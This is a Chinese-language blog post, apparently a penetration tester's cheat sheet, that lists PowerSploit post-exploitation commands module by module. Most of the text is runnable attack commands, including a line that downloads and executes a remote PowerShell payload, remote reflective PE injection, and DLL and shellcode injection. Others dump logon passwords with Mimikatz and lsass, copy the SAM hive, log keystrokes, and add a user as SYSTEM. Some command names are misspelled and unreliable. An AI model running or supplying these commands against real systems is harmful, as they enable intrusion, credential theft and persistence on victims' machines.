Skip to content
Go back

后渗透框架 PowerSploit

Edit page

PowerSploit 是基于 PowerShell 的后渗透框架. 在功能上分为杀软绕过, 命令执行, 特权提升, 权限维持, 信息收集等模块及一些辅助性脚本.

限于篇幅, 仅针对常用脚本进行说明.

Table of contents

Open Table of contents

PowerSploit

PowerSploit 是基于 PowerShell 的后渗透框架. 在功能上分为杀软绕过, 命令执行, 特权提升, 权限维持, 信息收集等模块及一些辅助性脚本.

限于篇幅, 仅针对常用脚本进行说明.

CodeExecution

命令执行.

Invoke-DllInjection

向指定进程注入 DLL.

Invoke-DllInjection -ProcessID 1234 -Dll .\payload.dll

Invoke-Shellcode

向指定进程注入 Shellcode.

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/payload.ps1')
Invoke-Shellcode -ProcessID 1234 -Shellcode $buf

Invoke-ReflectivePEInjection

反射型 DLL/PE 注入. 可从网络加载 DLL/PE 文件.

Invoke-ReflectivePEInjection -PEUrl http://192.168.1.100/payload.exe -Force

Privesc

特权提升.

PowerUp

检查可用的提权方法.

Invoke-AllChecks

Exfiltration

针对本机的信息收集.

Get-GPPPassword

导出组策略中配置的用户名和密码 (GPP 漏洞).

GET-GPPPassword

Get-Keystrokes

键盘记录.

Get-Keystrokes -LogPath .\keylog.txt

Get-TimedScreenshot

定时截图.

Get-TimedScreenshoft -Path .\ -Interval 10

Get-VaultCredential

导出 Windows 凭据.

Get-VaultCredential

Invoke-Mimikatz

Mimikatz 的 PowerShell 版本.

Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

Invoke-NinjaCopy

强行复制被进程占用的文件.

Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\SAM

Invoke-TokenManipulation

窃取凭据. 实际测试只能通过 CreateProcess 的方式以 SYSTEM 权限执行命令.

Invoke-TokenManipulation -UserName "NT AUTHORITY\SYSTEM" -CreateProcess cmd.exe -ProcessArgs "net user test test /add"

Out-Minidump

procdump 的 PowerShell 版本.

Get-Process lsass | Out-Minidump

VolumeShadowCopyTools

ShadowCopy 的 PowerShell 版本.

New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy
Mount VolumeShadowCopy -Path .\ -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
copy .\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .\
Remove-VolumeShadowCopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

Recon

针对内网的信息收集.

Get-ComputerDetail

获取日志信息, 如 RDP 日志, 事件日志.

Get-ComputerDetail

Get-HttpStatus

目录扫描.

Get-HttpStatus -Target 192.168.1.1 -Port 8080 -Path .\admin.txt

Invoke-Portscan

端口扫描.

Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -TopPorts 50

Invoke-ReverseDnsLookup

内网 IP 反查主机名.

Invoke-ReverseDnsLookup '192.168.1.0/24,10.0.0.1'

PowerView

域渗透信息收集框架 PowerView.

ScriptModification

脚本更改.

Out-CompressdDLL

将 DLL 编码为可在 PowerShell 中调用的格式.

Out-CompressdDLL -FilePath .\payload.dll

Out-EncodedCommand

将 PowerShell 命令或文件编码为 base64 格式.

Out-EncodedCommand -ScriptBlock {"whoami"}
Out-EncodedCommand -Path .\payload.ps1

Remove-Comment

去除脚本中的空格和注释.

Remove-Comment -Path .\payload.ps1

Edit page
Share this post on:

Previous Post
PowerView 域内信息收集
Next Post
加载 PowerShell 脚本